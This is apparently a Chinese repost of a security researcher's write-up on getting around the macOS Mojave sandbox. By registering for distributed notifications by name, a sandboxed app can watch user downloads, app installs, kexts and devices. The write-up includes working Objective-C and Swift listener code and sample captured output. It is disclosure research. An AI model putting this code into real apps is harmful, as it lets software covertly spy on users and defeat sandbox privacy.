内容简介:原文:在本文中,我将详细介绍一个微不足道的隐私问题,尽管苹果公司已经试图解决这个问题(力度并不大),但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户,这些技术甚至能在最新版本的macOS系统上使用!注意:这个问题最早在Objective-See的Mac安全会议上公布,相关议题为
原文: https://objective-see.com/blog/blog_0x39.html
0x00 概述
在本文中,我将详细介绍一个微不足道的隐私问题,尽管苹果公司已经试图解决这个问题(力度并不大),但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户,这些技术甚至能在最新版本的macOS系统上使用!
注意:这个问题最早在Objective-See的Mac安全会议上公布,相关议题为 Objective by the Sea 。本文更深入地探讨了相关技术细节。演讲文稿请参考 Protecting the Garden of Eden 。
0x01 背景
从安全和隐私的角度来看,沙箱是一个很好的解决办法。 在正确设计和实现的沙箱的约束下,应用程序会在很多方面受到各种限制。例如,除了其他各种限制之外,应用程序不能任意访问用户文件(比如用户图片或下载文件)、捕获用户键盘输入信息或破坏操作系统。这真是极好的事情。
当然,任何沙箱在实现上都会有其缺陷,导致恶意应用程序能够完全“逃离”沙箱,或者虽然仍然在沙箱中,但可以绕过某些特定的沙箱约束。在这篇文章中,我们阐述的是后一种情况,也就是略微绕过Apple在“分布式通知”方面的沙箱限制,获取沙箱外部环境的一些信息,监控(某些)用户隐私操作和操作系统行为。
OSX/macOS允许应用或系统组件“跨越任务边界”来广播通知。由于这些事件通过 DistributedNotificationCenter
类进行广播,因此我们通常将其称为“分布式通知”。根据分布式通知类的 文档 中的描述,Apple声明此类是“一种通知调度机制,可以跨任务边界广播通知”。
更具体一点:
DistributedNotificationCenter
实例会广播 NSNotification
对象,将其广播到已注册到默认分布式通知中心的其他任务中的对象。
在下文中我们很快就会看到,一旦任何时候应用程序、程序和系统守护进程在全局广播各种通知,只要我们注册一个全局分布式通知监听器,就可以了解到关于系统以及用户的很多信息,这一点非常有趣。
为了全局注册以便接收所有分布式通知,我们只需调用 CFNotificationCenterAddObserver
函数,将 name
参数设置为 nil
即可(如下所示)。这样只要目标广播分布式通知,系统就会调用我们指定的回调函数。
代码如下所示,我们注册了一个全局分布式通知监听器(注意: name
参数值为 nil
,表明我们想要监听所有通知):
//callback // invoked anytime anybody broadcasts a notification static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } int main(int argc, const char * argv[]) { //register for distributed notifications // note: as name is nil, this means "all" CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately); [[NSRunLoop currentRunLoop] run]; return 0; }
注意:我们也可以通过 NSDistributedNotificationCenter
方法来全局注册,以接收所有分布式通知:
- (void)addObserver:(id)observer selector:(SEL)selector name:(NSNotificationName)name object:(NSString *)object suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
如果我们编译并执行以下代码,就可以开始观察各种系统事件,例如屏幕锁定及解锁、屏幕保护程序启动及停止、蓝牙活动、网络活动和用户文件下载:
$ ./sniffsniff 2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked 2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked 2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch 2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart 2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop 2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop 2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan 2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc 2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished 2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
注意: CFDictionaryRef userInfo
以及 const void *object
的值取决于具体通知。比如,对于 com.apple.DownloadFileFinished
通知, object
参数会包含已下载的文件名。
按照Apple的设计,注册这样一个全局监听器并不需要特殊的权限,这一点非常好。但是,在沙箱的上下文中,系统显然不应该传递这类的通知(发送到沙箱的全局侦听器),因为至少从隐私的角度来看,这显然违反了沙箱隔离的基本概念。
0x02 沙箱中的分布式通知
Apple明确(并且正确地)认识到一点,从隐私(也可能是安全性)的角度来看,沙箱应用程序不应该能够获取全局分布式通知。因此,如果沙箱应用尝试注册全局分布式通知,那么操作系统沙箱应该严格阻止此操作:
$ ./sniffsniff 2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing. Date/Time: Mon Nov 19 21:21:41 2018 OS Version: 18B75 Application: sniffsniff Backtrace: 0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197 1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035 2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14 3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter addObserver:selector:name:object:suspensionBehavior:] + 233 4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter addObserver:selector:name:object:] + 29 5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
很好,看来Apple的macOS沙箱的确在尝试阻止(在沙箱中运行的)恶意应用程序全局嗅探分布式通知,如上输出和环境中的提示信息: *** attempt to register for all distributed notifications thwarted by sandboxing
。
那么是否一切正常?
不幸的是,事实与Apple公司的愿望相反。换句话说,这个机制并没有经过深思熟虑。虽然系统试图阻止从应用沙箱中接收(全局)分布式通知,但我们还是能找到解决办法,如下问所述。
0x03 在macOS沙箱中全局嗅探分布式通知
已打全补丁的Mojave系统(可能拓展到其他版本的macOS)无法充分阻止沙箱应用程序接收分布式通知(其中可能包含敏感信息)。尽管Apple会阻止这类应用程序注册全局接收分布式通知接收器(即将 name
参数设置为 nil
),但没有采取其他措施阻止沙箱应用通过名称(例如 com.apple.DownloadFileFinished
)来注册接收任何通知。 因此,恶意应用可以直接通过名称来注册任何(或者所有?)分布式通知,从而轻而易举地避开Apple对沙箱的限制。虽然这个操作需要一些额外的代码行,但最终任何应用程序都可以通过多次注册,接收(捕获)所有分布式通知,即使位于沙箱中也能完成这个任务!
我们来看一个例子。 假设恶意应用程序想要监视用户下载行为。如果恶意应用运行在macOS沙箱的上下文中,那么通常这是严格禁止的行为。这一点非常正常,根据定义,沙箱的功能就是提供隔离环境,保护用户的安全和隐私。
然而,通过名称来注册接收 com.apple.DownloadFileFinished
分布式通知,(沙箱)应用程序仍然可以秘密监视用户下载的所有文件:
首先,让我们确保我们的恶意应用程序( sniffsniff
)的确在沙箱中运行:
然后,让我们编写一些代码来监听 com.apple.DownloadFileFinished
分布式通知:
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { NSString* name = @"com.apple.DownloadFileFinished"; CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately); }
从macOS沙箱中运行 sniffsniff
,可以发现即使是打全补丁的Mojave环境中,我们也能偷偷监控用户的下载行为:
./sniffsniff 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null) 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
注意: com.apple.DownloadFileFinished
分发通知似乎仅会广播从用户浏览器下载的文件进。然而,这竟然包括以隐身模式下载的内容!
现在,重要的是要注意一点,虽然我们现在可以在沙箱中监视用户下载行为,但由于其他沙箱限制规则,我们实际上无法读取此类文件的内容,然而文件名本身可能已经告诉我们一些信息。
由于我们必须通过名称来注册每个通知(为了规避沙箱保护),那么问题来了,我们要如何确定感兴趣的通知的名称(即 com.apple.DownloadFileFinished
等)。虽然可能有一个 更全面的解决方案,但我选择简单的方法,为所有分布式通知安装一个全局监听器(当然这必须在沙箱之外完成),然后只需观察通知名称即可。返回沙箱环境,限制我们可以注册任何感兴趣的通知(通过名称技巧)。
虽然我们可以使用前文提供的代码,但这里我使用了 Digita Security 提供的更为强大的功能: MonitorKit
(即将发布的一个框架)。由于这个框架包含一个全局分布式通知的监视器,因此我们可以在几行代码中激活监视器,开始接收所有广播分发通知的名称:
import Cocoa import MonitorKit @NSApplicationMain class AppDelegate: NSObject, NSApplicationDelegate { func applicationDidFinishLaunching(_ aNotification: Notification) { //call into MonitorKit // enable 'distributed notifications' monitor let monitor = DistributedNotifcationsMonitor() monitor.start() { event in print("event: ", event.name.rawValue) if let userInfo = event.userInfo { print("event info: ", userInfo) } if let object = event.object { print("event object: ", object) } } } }
注意:这是Swift代码。
执行此代码后,我们可以得到一些有趣的分布式通知(恶意沙箱应用程序可以注册这些通知来观察外部消息):
- 新安装的应用:
com.apple.LaunchServices.applicationRegistered
event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>( com.objective-see.KnockKnock)
- 已打开的源代码文件:
com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info: [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
- 正在使用的应用:
com.apple.sharedfilelist.change
event info: [AnyHashable("originatorAuditToken"): ] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat event info: [AnyHashable("originatorAuditToken"): ] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
- 已加载的内核扩展:
Loaded Kext Notification
KextArrayKey = ( "com.apple.message.bundleID" = "com.objective-see.lulu"; "com.apple.message.kextname" = "LuLu.kext"; "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext"; "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
- 已下载的文件:
com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
- HID设备:
com.apple.MultitouchSupport.HID.DeviceAdded
event info: [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
- 蓝牙设备:
com.apple.bluetooth.status
event info: [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>( { ADDRESS = "60-c5-47-89-08-cc"; NAME = "Apple Trackpad"; "PRODUCT_ID" = 782; "SNIFF_ATTEMPTS" = 2; "VENDOR_ID" = 1452; }, { ADDRESS = "04-52-c7-77-0d-4e"; NAME = "Bose QuietComfort 35"; "PRODUCT_ID" = 16396; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 158; }, { ADDRESS = "34-88-5d-6b-5b-49"; NAME = "Logitech K811"; "PRODUCT_ID" = 45847; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 1133; })
- 卸载卷(USB等):
com.apple.unmountassistant.process.start
event info: [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
注意:这并不是完整的分布式通知名称列表,大家可以继续挖掘。
0x04 总结
macOS沙箱的功能非常明确,就是用来防止沙箱应用程序深入了解用户和系统操作隐私数据。Apple清楚地意识到全局分布式通知监听器可能会破坏这些设计目标,因而会尝试阻止这类行为:
*** attempt to register for all distributed notifications thwarted by sandboxing.
不幸的是,Apple的尝试并没有真正起作用,因此无法避免这种情况(这种情况非常正常)。只要简单地使用名称来注册通知,沙箱应用程序就可以不断注册,最终接收(捕获)所有分布式通知。 使用这种方法,沙箱应用就可以违反核心沙箱原则,通过执行以下操作来破坏用户的隐私:跟踪新应用程序的安装、监视正在使用的各种文件和应用程序、跟踪已加载的文件夹、观察用户下载行为等等。
虽然如此,(从我个人角度来看)这个问题本身并不构成安全漏洞,但显然违反了macOS沙箱的设计目标,因此Apple肯定会再次尝试修复这个问题。
以上所述就是小编给大家介绍的《如何绕过Mojave沙箱限制》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 常见沙箱绕过技术
- Ghostscript 多个-dSAFER 沙箱绕过漏洞
- ghostscript沙箱绕过远程命令执行漏洞预警
- CVE-2018-11776: Apache Struts OGNL沙箱绕过
- CVE-2019-6116: ghostscript沙箱绕过命令执行漏洞预警
- 作为武器的CVE-2018-11776:绕过Apache Struts 2.5.16 OGNL 沙箱
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
你不知道的JavaScript(上卷)
[美] Kyle Simpson / 赵望野、梁杰 / 人民邮电出版社 / 2015-4 / 49.00元
JavaScript语言有很多复杂的概念,但却用简单的方式体现出来(比如回调函数),因此,JavaScript开发者无需理解语言内部的原理,就能编写出功能全面的程序;就像收音机一样,你无需理解里面的管子和线圈都是做什么用的,只要会操作收音机上的按键,就可以收听你喜欢的节目。然而,JavaScript的这些复杂精妙的概念才是语言的精髓,即使是经验丰富的JavaScript开发者,如果没有认真学习也无......一起来看看 《你不知道的JavaScript(上卷)》 这本书的介绍吧!